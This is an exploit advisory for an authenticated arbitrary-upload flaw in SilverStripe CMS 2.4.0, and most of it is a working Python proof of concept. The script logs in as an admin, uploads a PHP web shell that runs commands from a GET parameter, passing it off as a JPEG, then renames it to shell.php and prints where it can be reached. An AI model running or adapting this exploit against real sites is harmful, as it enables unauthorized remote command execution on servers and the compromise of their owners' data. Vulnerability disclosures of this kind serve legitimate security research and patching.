#============================================================================================================# # _ _ __ __ __ _______ _____ __ __ _____ _ _ _____ __ __ # # /_/\ /\_\ /\_\ /\_\ /\_\ /\_______)\ ) ___ ( /_/\__/\ ) ___ ( /_/\ /\_\ /\_____\/_/\__/\ # # ) ) )( ( ( \/_/( ( ( ( ( ( \(___ __\// /\_/\ \ ) ) ) ) )/ /\_/\ \ ) ) )( ( (( (_____/) ) ) ) ) # # /_/ //\\ \_\ /\_\\ \_\ \ \_\ / / / / /_/ (_\ \ /_/ /_/ // /_/ (_\ \/_/ //\\ \_\\ \__\ /_/ /_/_/ # # \ \ / \ / // / // / /__ / / /__ ( ( ( \ \ )_/ / / \ \ \_\/ \ \ )_/ / /\ \ / \ / // /__/_\ \ \ \ \ # # )_) /\ (_(( (_(( (_____(( (_____( \ \ \ \ \/_\/ / )_) ) \ \/_\/ / )_) /\ (_(( (_____\)_) ) \ \ # # \_\/ \/_/ \/_/ \/_____/ \/_____/ /_/_/ )_____( \_\/ )_____( \_\/ \/_/ \/_____/\_\/ \_\/ # # # #============================================================================================================# # # # Vulnerability............Arbitrary Upload # # Software.................SilverStripe CMS 2.4.0 # # Download.................http://www.silverstripe.com/ # # Date.....................6/6/10 # # # #============================================================================================================# # # # Site.....................http://cross-site-scripting.blogspot.com/ # # Email....................john.leitch5@gmail.com # # # #============================================================================================================# # # # ##Description## # # # # An arbitrary upload vulnerability in SilverStripe CMS 2.4.0 can be exploited to upload a PHP shell. A user # # with File & Images permission is necessary to exploit this vulnerability. # # # # # # ##Proof of Concept## # # # import sys, socket, re host = '192.168.1.4' path = '/silverstripe' username = 'admin' password = 'Password1' port = 80 def send_request(request): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send(request) resp = '' while 1: r = s.recv(8192) if not r: break resp += r if r[:15] == 'HTTP/1.1 302 OK': break s.close() return resp def upload_shell(): print 'authenticating' content = 'AuthenticationMethod=MemberAuthenticator&Email=' + username + '&Password='+ password + '&action_dologin=Log+in' header = 'POST http://' + host + path + '/Security/LoginForm HTTP/1.1\r\n'\ 'Host: ' + host + '\r\n'\ 'Connection: keep-alive\r\n'\ 'User-Agent: x\r\n'\ 'Content-Length: ' + str(len(content)) + '\r\n'\ 'Cache-Control: max-age=0\r\n'\ 'Origin: http://' + host + '\r\n'\ 'Content-Type: application/x-www-form-urlencoded\r\n'\ 'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'\ 'Accept-Encoding: gzip,deflate,sdch\r\n'\ 'Accept-Language: en-US,en;q=0.8\r\n'\ 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\ '\r\n' resp = send_request(header + content) print 'uploading shell' match = re.findall(u'Set-Cookie:\s([^\r\n]+)', resp) for m in match: if m[:9] == 'PHPSESSID': cookie = m content = '------x\r\n'\ 'Content-Disposition: form-data; name="ID"\r\n'\ '\r\n'\ '0\r\n'\ '------x\r\n'\ 'Content-Disposition: form-data; name="FolderID"\r\n'\ '\r\n'\ '0\r\n'\ '------x\r\n'\ 'Content-Disposition: form-data; name="action_doUpload"\r\n'\ '\r\n'\ '1\r\n'\ '------x\r\n'\ 'Content-Disposition: form-data; name="Files[1]"; filename=""\r\n'\ '\r\n'\ '\r\n'\ '------x\r\n'\ 'Content-Disposition: form-data; name="Files[0]"; filename="shell.jpg"\r\n'\ 'Content-Type: image/jpeg\r\n'\ '\r\n'\ '" + system($_GET["CMD"]) + ""; ?>\r\n'\ '------x\r\n'\ 'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n'\ '\r\n'\ '\r\n'\ '------x\r\n'\ 'Content-Disposition: form-data; name="action_upload"\r\n'\ '\r\n'\ 'Upload Files Listed Below\r\n'\ '------x--\r\n'\ header = 'POST http://' + host + path + '/admin/assets/UploadForm HTTP/1.1\r\n'\ 'Host: ' + host + '\r\n'\ 'Proxy-Connection: keep-alive\r\n'\ 'User-Agent: x\r\n'\ 'Content-Length: ' + str(len(content)) + '\r\n'\ 'Cache-Control: max-age=0\r\n'\ 'Origin: http://' + host + '\r\n'\ 'Content-Type: multipart/form-data; boundary=----x\r\n'\ 'Accept: text/html\r\n'\ 'Accept-Encoding: gzip,deflate,sdch\r\n'\ 'Accept-Language: en-US,en;q=0.8\r\n'\ 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\ 'Cookie: ' + cookie + '\r\n'\ '\r\n' resp = send_request(header + content) print 'grabbing ids' file_id = re.search(u'/\*\sIDs:\s(\d+)\s\*/', resp).group(1) file_name = re.search(u'/\*\sNames:\s([^\*]+)\s\*/', resp).group(1) resp = send_request('GET http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/edit?ajax=1 HTTP/1.1\r\n'\ 'Host: ' + host + '\r\n'\ 'Cookie: ' + cookie + '\r\n\r\n') print 'renaming shell' security_id = re.search(u'name="SecurityID" value="(\d+)"', resp).group(1) owner_id = re.search(u'option selected="selected" value="(\d+)"', resp).group(1) content = 'Title=' + file_name + '&Name=shell.php&FileType=JPEG+image+-+good+for+photos&Size=56+bytes&OwnerID=' + owner_id + '&Dimensions=x&ctf%5BchildID%5D=' + file_id + '&ctf%5BClassName%5D=File&SecurityID=' + security_id + '&action_saveComplexTableField=Save' header = 'POST http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/DetailForm HTTP/1.1\r\n'\ 'Host: ' + host + '\r\n'\ 'Proxy-Connection: keep-alive\r\n'\ 'User-Agent: x\r\n'\ 'Referer: http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/edit?ajax=1\r\n'\ 'Content-Length: ' + str(len(content)) + '\r\n'\ 'Cache-Control: max-age=0\r\n'\ 'Origin: http://' + host + '\r\n'\ 'Content-Type: application/x-www-form-urlencoded\r\n'\ 'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'\ 'Accept-Encoding: gzip,deflate,sdch\r\n'\ 'Accept-Language: en-US,en;q=0.8\r\n'\ 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\ 'Cookie: ' + cookie + '; PastMember=1\r\n'\ '\r\n' resp = send_request(header + content) print 'shell located at http://' + host + path + '/assets/shell.php' upload_shell()